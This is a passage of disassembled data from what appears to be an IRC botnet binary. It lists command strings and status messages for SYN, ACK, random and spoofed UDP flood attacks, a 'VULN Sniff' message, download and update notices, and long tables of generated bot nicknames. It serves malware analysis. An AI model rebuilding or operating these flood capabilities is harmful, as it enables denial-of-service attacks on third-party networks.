aVulnSniffSDToS db ' VULN Sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 44h ; D
db 2, 1Fh, 44h
db 1Fh
db 2, 6Fh, 2
db 73h ; s
db 3, 30h, 32h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
aDdos_syn_0 db 'ddos.syn',0 ; DATA XREF: seg000:00413BE7o
align 4
aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:loc_413C06o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:loc_413C22o
dd 35310302h, 25B302Ch, 91323003h, 2343003h, 441F0244h
dd 26F021Fh, 32300373h, 3531032Ch, 2032033Ah, 646E6573h
dd 72726520h, 203A726Fh, 6425h, 35310302h, 25B302Ch, 91323003h
dd 69343003h, 2024302h, 370024Dh, 32C3230h, 33A3531h, 6F732032h
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 2064656Eh, 6425h, 35310302h, 25B302Ch, 91323003h, 69343003h
dd 2024302h, 370024Dh, 32C3230h, 33A3531h, 65732032h, 636F7374h
dd 74706F6Bh, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 2064656Eh, 6425h, 35310302h, 25B302Ch, 91323003h, 69343003h
dd 2024302h, 370024Dh, 32C3230h, 33A3531h, 6E692032h, 696C6176h
dd 61742064h, 74656772h, 706920h, 35310302h, 25B302Ch
dd 91323003h, 69343003h, 2024302h, 370024Dh, 32C3230h
dd 33A3531h, 72652032h, 20726F72h, 646E6573h, 20676E69h
dd 6B636170h, 20737465h, 25206F74h, 25202E73h, 61702064h
dd 74656B63h, 65732073h, 202C746Eh, 75746572h, 64656E72h
dd 642520h, 35310302h, 25B302Ch, 91323003h, 69343003h
dd 2024302h, 370024Dh, 32C3230h, 33A3531h, 6F642032h, 7720656Eh
dd 20687469h, 66207325h, 646F6F6Ch, 206F7420h, 202E7325h
dd 746E6573h, 20642520h, 6B636170h, 20737465h, 64252040h
dd 732F424Bh, 28206365h, 424D6425h, 2E29h, 35310302h, 25B302Ch
dd 91323003h, 2343003h, 691F0250h, 24E021Fh, 32300347h
dd 3531032Ch, 2032033Ah, 6F727265h, 65732072h, 6E69646Eh
dd 69702067h, 2073676Eh, 25206F74h, 73h, 35310302h, 25B302Ch
dd 91323003h, 2343003h, 691F0250h, 24E021Fh, 32300347h
dd 3531032Ch, 2032033Ah, 696E6966h, 64656873h, 6E657320h
dd 676E6964h, 6E697020h, 74207367h, 7325206Fh, 0
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 55h ; U
db 2, 1Fh, 64h
db 1Fh
db 2, 50h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorSendingP db '2 error sending packets to %s',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 55h ; U
db 2, 1Fh, 64h
db 1Fh
db 2, 50h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FinishedSendi db '2 finished sending packets to %s',0
align 10h
unk_44BF10 db 2 ; DATA XREF: seg000:0041465Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 1Fh, 6Bh
db 1Fh
db 79h, 2, 53h
db 2
db 79h, 1Fh, 6Eh
db 1Fh
db 3, 30h, 32h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aDoneWithFloodI db 'Done with flood (%iKB/sec)',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 79h, 2
db 6Eh ; n
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 3Ah, 3, 32h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 4
unk_44BF94 db 2 ; DATA XREF: sub_414853+27Do
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 53h ; S
db 2, 79h, 2
db 6Eh ; n
db 2, 3, 30h
db 32h ; 2
db 2Ch, 3, 31h
db 35h ; 5
db 3Ah, 3, 32h
aSendErrorD_ db ' Send error: <%d>.',0
align 4
unk_44BFC8 db 2 ; DATA XREF: seg000:00414BACo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 54h ; T
db 2, 61h, 2
db 72h ; r
db 2, 67h, 61h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2DoneWithFlood db '2 Done with flood.',0
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 54h ; T
db 2, 1Fh, 63h
db 1Fh
db 2, 50h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorSocket_0 db '2 Error: socket() failed, returned: <%d>.',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 54h ; T
db 2, 1Fh, 63h
db 1Fh
db 2, 50h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorSetsocko db '2 Error: setsockopt() failed, returned: <%d>.',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 54h ; T
db 2, 1Fh, 63h
db 1Fh
db 2, 50h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2InvalidTarget db '2 Invalid target IP.',0
align 10h
aSyn_1 db 'syn',0
aAck_0 db 'ack',0
aRandom_2 db 'random',0
align 10h
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 54h ; T
db 2, 1Fh, 63h
db 1Fh
db 2, 50h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorSendin_0 db '2 Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
db 2
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 54h ; T
db 2, 1Fh, 63h
db 1Fh
db 2, 50h, 2
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2DoneWithSFloo db '2 Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 10h
unk_44C1B0 db 2 ; DATA XREF: seg000:00415411o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 54h ; T
db 2, 73h, 2
db 55h ; U
db 2, 6Eh, 61h
db 2
db 4Dh, 2, 69h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2DoneWithFlo_0 db '2 Done with flood, %d packets sent.',0
align 4
aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: seg000:0041552Do
unk_44C208 db 2 ; DATA XREF: seg000:004156F6o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 57h ; W
db 2, 69h, 73h
db 2
db 64h, 2, 6Fh
db 6Dh ; m
db 3, 31h, 35h
db 28h ; (
db 3, 34h, 2
db 55h ; U
db 2, 64h, 50h
db 3
db 31h, 35h, 29h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2StartingWisdo db '2 Starting Wisdom spoofed UDP flood thread.',0
align 4
unk_44C268 db 2 ; DATA XREF: sub_415725+2Ao
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 57h ; W
db 2, 69h, 73h
db 2
db 64h, 2, 6Fh
db 6Dh ; m
db 3, 31h, 35h
db 28h ; (
db 3, 34h, 2
db 55h ; U
db 2, 64h, 50h
db 3
db 31h, 35h, 29h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorCallingS db '2 Error calling socket().',0
align 4
unk_44C2B4 db 2 ; DATA XREF: sub_415725+63o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 57h ; W
db 2, 69h, 73h
db 2
db 64h, 2, 6Fh
db 6Dh ; m
db 3, 31h, 35h
db 28h ; (
db 3, 34h, 2
db 55h ; U
db 2, 64h, 50h
db 3
db 31h, 35h, 29h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorCallin_0 db '2 Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 4
unk_44C324 db 2 ; DATA XREF: sub_415725+80o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 57h ; W
db 2, 69h, 73h
db 2
db 64h, 2, 6Fh
db 6Dh ; m
db 3, 31h, 35h
db 28h ; (
db 3, 34h, 2
db 55h ; U
db 2, 64h, 50h
db 3
db 31h, 35h, 29h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2InvalidTarg_0 db '2 Invalid target IP. WSAGetLastError() returns %d.',0
unk_44C388 db 2 ; DATA XREF: sub_415725+CCo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 57h ; W
db 2, 69h, 73h
db 2
db 64h, 2, 6Fh
db 6Dh ; m
db 3, 31h, 35h
db 28h ; (
db 3, 34h, 2
db 55h ; U
db 2, 64h, 50h
db 3
db 31h, 35h, 29h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2SendingPacket db '2 Sending packets to %s...',0
aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_415725+17Eo
unk_44C3E0 db 2 ; DATA XREF: sub_415725+348o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 57h ; W
db 2, 69h, 73h
db 2
db 64h, 2, 6Fh
db 6Dh ; m
db 3, 31h, 35h
db 28h ; (
db 3, 34h, 2
db 55h ; U
db 2, 64h, 50h
db 3
db 31h, 35h, 29h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorSendin_1 db '2 Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_44C48C db 2 ; DATA XREF: sub_415725+2F6o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 57h ; W
db 2, 69h, 73h
db 2
db 64h, 2, 6Fh
db 6Dh ; m
db 3, 31h, 35h
db 28h ; (
db 3, 34h, 2
db 55h ; U
db 2, 64h, 50h
db 3
db 31h, 35h, 29h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FinishedSen_0 db '2 Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 10h
unk_44C510 db 2 ; DATA XREF: seg000:00415ADAo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 57h ; W
db 2, 1Fh, 6Fh
db 1Fh
db 2, 6Eh, 2
db 6Bh ; k
db 3, 30h, 32h
db 2Ch ; ,
db 3, 31h, 35h
db 3Ah ; :
db 3, 32h, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
asc_44C554: ; DATA XREF: sub_415C17+1C5o
unicode 0, < >,0
aSD_3 db '%s%d ',0 ; DATA XREF: sub_415C17+207o
align 10h
dword_44C560 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 696C0241h
; DATA XREF: sub_41612F+10o
dd 73026102h, 2696C20h, 3027473h, 32C3130h, 33A3531h, 32h
dword_44C58C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4161A7+60o
align 4
dword_44C5C4 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch
; DATA XREF: seg000:00416263o
dd 267021Fh, 2C313003h, 3A353103h, 3203h
dword_44C5E8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch
; DATA XREF: sub_4162E4+20o
dd 267021Fh, 2C313003h, 3A353103h, 2203203h, 656C0243h
dd 64657261h, 0
dword_44C618 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch
; DATA XREF: sub_4162E4:loc_416319o
dd 267021Fh, 2C313003h, 3A353103h, 2203203h, 656C0243h
dd 64657261h, 2Eh
dword_44C648 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch
; DATA XREF: seg000:00416396o
dd 267021Fh, 2C313003h, 3A353103h, 6C203203h, 73026902h
dd 53022074h, 72617402h, 676E6974h, 0
dword_44C680 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch
; DATA XREF: seg000:00416433o
dd 267021Fh, 2C313003h, 3A353103h, 6C203203h, 73026902h
dd 43022074h, 706D6F02h, 6574656Ch, 0
dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26F0244h
dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch
dd 2032033Ah, 6F024302h, 6E646C75h, 2207427h, 6570024Fh
dd 4602206Eh, 6C026902h, 33A6502h, 73252034h, 0
dd 35310302h, 25B302Ch, 91343003h, 2323003h, 26F0244h
dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h
dd 25203203h, 34032073h, 4B642528h, 2942h, 35310302h, 25B302Ch
dd 91343003h, 2323003h, 26F0244h, 26E0277h, 26F026Ch, 2640261h
dd 34300302h, 3531032Ch, 2034033Ah, 6F024702h, 55022074h
dd 61647002h, 32036574h, 20732520h, 25283403h, 29424B64h
dd 0
dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26F0244h
dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch
dd 2032033Ah, 72025702h, 20676E6Fh, 69024602h, 6973656Ch
dd 3403657Ah, 64252820h, 203D2120h, 2E296425h, 0
dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26F0244h
dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch
dd 2032033Ah, 72025702h, 20676E6Fh, 72026302h, 3026302h
dd 25282034h, 3D212064h, 29642520h, 2Eh, 35310302h, 25B302Ch
dd 91343003h, 2323003h, 26F0244h, 26E0277h, 26F026Ch, 2640261h
dd 34300302h, 3531032Ch, 2034033Ah, 26F4402h, 6C026E77h
dd 261026Fh, 64026564h, 25203203h, 2066312Eh, 424B3403h
dd 36F7420h, 73252032h, 25204020h, 2066312Eh, 424B3403h
dd 6365732Fh, 0
aOpen_2 db 'open',0
align 4
dd 35310302h, 25B302Ch, 91343003h, 2323003h, 26F0244h
dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
dd 2034033Ah, 70024F02h, 6E026502h, 2026502h, 32030264h
dd 732520h, 35310302h, 25B302Ch, 91343003h, 2323003h, 26F0244h
dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch
dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h
dd 25203203h, 2066312Eh, 424B3403h, 36F7420h, 73252032h
dd 25204020h, 2066312Eh, 424B3403h, 6365732Fh, 3203202Ch
dd 70025502h, 61026402h, 2690274h, 4220676Eh, 74026F02h
dd 0
dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26F0244h
dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch
dd 2032033Ah, 70025502h, 2610264h, 2206574h, 69610246h
dd 65026C02h, 2202C64h, 2720245h, 726F0272h, 2450220h
dd 63026578h, 69747502h, 67026E02h, 25203403h, 73h, 35310302h
dd 25B302Ch, 91323003h, 2343003h, 26F0244h, 26E0277h, 26F026Ch
dd 2640261h, 32300302h, 3531032Ch, 2034033Ah, 61024202h
dd 2552064h, 204C0252h, 272024Fh, 2440220h, 220736Eh, 2720245h
dd 726F0272h, 3746120h, 73252032h, 2Eh
aUnknown db 'Unknown',0 ; DATA XREF: sub_416A2E:loc_416A71o
aInvalid db 'Invalid',0 ; DATA XREF: sub_416A2E:loc_416A6Bo
aDisk db 'Disk',0 ; DATA XREF: sub_416A2E:loc_416A65o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416A2E:loc_416A5Fo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416A2E:loc_416A59o
align 4
off_44CA48 dd offset word_4D4152 ; DATA XREF: sub_416A2E:loc_416A53o
dword_44CA4C dd 3Fh aFailed db 'failed',0 ; DATA XREF: sub_416ABF+E0o
align 4
aFailed_0 db 'failed',0 ; DATA XREF: sub_416ABF+F1o
align 10h
aFailed_1 db 'failed',0 ; DATA XREF: sub_416ABF+102o
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416ABF+70o
align 10h
aSkb_0 db '%sKB',0 ; DATA XREF: sub_416ABF+9Bo
align 4
aSkb_1 db '%sKB',0 ; DATA XREF: sub_416ABF+C6o
align 10h
aFailed_2 db 'failed',0 ; DATA XREF: sub_416BE3+3Bo
align 4
dword_44CA88 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 21F4D1Fh
; DATA XREF: sub_416BE3+58o
dd 2690261h, 3230036Eh, 3531032Ch, 2034033Ah, 3207325h
dd 2440232h, 65766972h, 28203403h, 3A297325h, 2203203h
dd 69610246h, 2064656Ch, 6F025402h, 2530220h, 2C746174h
dd 2440220h, 63697665h, 4E022065h, 20746F02h, 65025202h
dd 796461h
dword_44CAF0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 21F4D1Fh
; DATA XREF: sub_416BE3+8Eo
dd 2690261h, 3230036Eh, 3531032Ch, 2032033Ah, 3207325h
dd 2440234h, 65766972h, 28203203h, 3A297325h, 25203403h
dd 32032073h, 6F025402h, 2C6C6174h, 25203403h, 32032073h
dd 72024602h, 32C6565h, 73252034h, 2320320h, 61760241h
dd 62616C69h, 656Ch
dword_44CB5C dd 5C3A41h off_44CB60 dd offset dword_44CFF8 ; DATA XREF: sub_417120+5Cr
dd offset dword_44CFFC
dd offset dword_44D000
dd offset dword_44D004
dd offset dword_44D008
dd offset dword_44D00C
dd offset dword_44D010
dd offset dword_44D014
dd offset dword_44D018
dd offset dword_44D01C
dd offset dword_44D020
dd offset dword_44D024
dd offset dword_44D028
dd offset dword_44D02C
dd offset dword_44D030
dd offset dword_44D034
dd offset dword_44D038
dd offset dword_44D03C
dd offset dword_44D040
dd offset dword_44D044
dd offset dword_44D048
dd offset dword_44D04C
dd offset dword_44D050
dd offset dword_44D054
dd offset dword_44D058
dd offset dword_44D05C
dd offset dword_44D060
dd offset dword_44D064
dd offset dword_44D068
dd offset dword_44D06C
dd offset dword_44D070
dd offset dword_44D074
dd offset dword_44D078
dd offset dword_44D07C
dd offset dword_44D080
dd offset dword_44D084
dd offset dword_44D088
dd offset dword_44D08C
dd offset dword_44D090
dd offset dword_44D094
dd offset dword_44D098
dd offset dword_44D09C
dd offset dword_44D0A0
dd offset dword_44D0A4
dd offset dword_44D0A8
dd offset dword_44D0AC
dd offset dword_44D0B0
dd offset dword_44D0B4
dd offset dword_44D0B8
dd offset dword_44D0BC
dd offset dword_44D0C0
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
dd offset aBlackpearl ; "blackpearl"
dd offset aPelincik ; "pelincik"
dd offset aAhmet ; "ahmet"
dd offset aTurkyy ; "turkyy"
dd offset aAnk32m ; "ank32m"
dd offset aZack ; "ZACK"
dd offset aIzmir39m ; "Izmir39m"
dd offset aAlbina ; "albina"
dd offset aAyla ; "AYLA-"
dd offset off_44D328
dd offset aAnkh ; "ankh"
dd offset aDonjuanm ; "Donjuanm"
dd offset aBogac ; "bogac"
dd offset aAlpay34m ; "alpay34m"
dd offset aCongueror ; "CoNGuERoR"
dd offset aDenizlim ; "DenizliM"
dd offset aBerk19m ; "Berk19m"
dd offset aDevran ; "devran"
dd offset aArda ; "arda"
dd offset aKeyiflisert ; "keyifliSERT"
dd offset aMurat34M ; "murat34-m"
dd offset aHakan3 ; "hakan3"
dd offset aImirzali ; "IMIRZALI--"
dd offset aRamtha ; "RAMTHA"
dd offset aEmre ; "Emre--"
dd offset aElmaazyok ; "elmaazyok"
dd offset aEsmerkiz ; "Esmerkiz"
dd offset aKebikec ; "kebikec"
dd offset aFlord ; "FLoRD"
dd offset aHoly ; "holy"
dd offset aMahinur ; "MAHINUR"
dd offset aSadikaellesme ; "SaDIkaEllesme"
dd offset aAykut1 ; "aykut1"
dd offset aKashmira ; "Kashmira"
dd offset aSeviseli ; "SeViSeLi"
dd offset aSugarboy ; "SUGARBOY-"
dd offset aUzgun36 ; "uzgun36"
dd offset aKumul ; "kumul"
dd offset aAdalim ; "ADALIM"
dd offset aUmut ; "umut-"
dd offset aAnk32M ; "ANK-32-M"
dd offset aDjspace ; "DJSPACE"
dd offset aAnkar ; "Ankar"
dd offset aFenerlee ; "FeNeRLee"
dd offset aHayran ; "hayran"
dd offset aAngelgirl ; "angelgirl"
dd offset aKapk ; "kapk"
dd offset aAchilles ; "Achilles"
dd offset aTegmen ; "TEGMEN"
dd offset aKotan ; "kotan"
dd offset aSevda ; "sevda"
dd offset off_44D4BC
dd offset aAlcatras ; "alcatras"
dd offset aA44m ; "a44m"
dd offset aBirsen ; "birsen"
dd offset aYabanc ; "yabanc"
dd offset aDevre ; "devre"
dd offset aErkan ; "erkan"
dd offset aAnkm ; "ankM"
dd offset aAdem28 ; "Adem28"
dd offset aMaxsilla ; "maxsilla"
dd offset aM41ist ; "M41IST"
dd offset aAdamm33 ; "AdAMM33"
dd offset aFirtina ; "firtina"
dd offset aAta29 ; "Ata29"
dd offset aKoray ; "KORAY"
dd offset aAkden ; "akden"
dd offset aIzmirlm ; "izmirlm"
dd offset aUla ; "ula"
dd offset aNeHaber ; "NE-HABER"
dd offset aPassenger ; "passenger"
dd offset aTropikal ; "tropikal"
dd offset aCool30m ; "cool30m"
dd offset aCem39 ; "cem39"
dd offset aRerpjj ; "RERPJJ"
dd offset aTeoman ; "TEOMAN```"
dd offset aDallas43m ; "DALLAS43M"
dd offset aPrometheus ; "prometheus"
dd offset aMaveRIck ; "MaVe{R}icK"
dd offset aAdamm ; "ADAMM"
dd offset aCumhur29 ; "cumhur29"
dd offset aWantedlove ; "WANTEDLOVE"
off_44CE60 dd offset aSex_0 ; DATA XREF: sub_417120+41r
; sub_417120+ECr
; "sex"
dd offset aLez ; "lez"
dd offset aZex ; "zex"
dd offset aTree ; "tree"
dd offset aBad ; "bad"
dd offset aLag ; "lag"
dd offset aTambe ; "|tambe|"
dd offset aWoh ; "|woh|"
dd offset aTot ; "-|tot|"
dd offset aSuck ; "|suck|"
dd offset aLuck ; "|luck|"
dd offset aHub ; "{hub}"
dd offset aSex_1 ; "{sex}"
dd offset aGens ; "{gens|"
dd offset aLuvuF ; "||luvu-f|"
dd offset aWiked ; "|wiked|"
dd offset aSick ; "sick}}"
dd offset aQ8 ; "Q8"
dd offset aQ8A ; "|q8|a"
dd offset aB ; "b"
dd offset aC_6 ; "c"
dd offset aD_3 ; "d"
dd offset aE_0 ; "e"
dd offset aF ; "f"
dd offset aG ; "g"
dd offset asc_44D674 ; "h"
dd offset aI_1 ; "i"
dd offset a__5 ; "_"
dd offset aJ_1 ; "j"
dd offset aK_0 ; "k"
dd offset asc_44D688 ; "l"
dd offset aM_2 ; "m"
dd offset aN_0 ; "n"
dd offset aO_0 ; "o"
dd offset aP_0 ; "p"
dd offset aQ_0 ; "q"
dd offset aRs ; "rs"
dd offset aT_0 ; "t"
dd offset aU_0 ; "u"
dd offset aV ; "v"
dd offset aW ; "w"
dd offset asc_44D6B4 ; "x"
dd offset aY ; "y"
dd offset aZ ; "z"
dd offset aHappy ; "happy"
dd offset aRg ; "rg"
dd offset aTy ; "ty"
dd offset aGf ; "gf"
dd offset aRt ; "rt"
dd offset aSdf ; "sdf"
dd offset aUi ; "ui"
dd offset aLuvy ; "luvy"
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset aZ_0 ; "z"
dd offset aG_0 ; "g"
dd offset aS_33 ; "s"
dd offset aQ_1 ; "q"
dd offset off_44D710
dd offset dword_44D714
dd offset dword_4EDCA4
dd offset dword_4EDCA8
dd offset dword_44D71C
dd offset dword_4EDCAC
dd offset dword_4EDCB0
dd offset dword_4EDCB4
dd offset dword_4EDCB8
dd offset dword_44D720
dd offset dword_44D724
dd offset aLuvu ; "LUVU"
dd offset aSad ; "Sad"
dd offset aF_0 ; "^^^f^"
dd offset aB_0 ; "b"
dd offset dword_4EDCBC
dd offset aSleeping ; "Sleeping"
dd offset dword_4EDCC0
dd offset dword_4EDCC4
dd offset aFuck_0 ; "Fuck"
dd offset aFree_0 ; "Free"
dd offset dword_4EDCC8
dd offset dword_4EDCCC
dd offset asc_44D75C ; "X"
dd offset dword_4EDCD0
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset aTot_0 ; "tot"
dd offset aLol ; "lol"
dd offset aLoloA ; "lolo|a|"
dd offset aSex4free ; "|sex4free|"
dd offset a4us ; "|4us|"
dd offset a4you ; "{4you}"
dd offset a4u ; "|4u|"
dd offset a5u ; "5u"
dd offset a6u ; "6u"
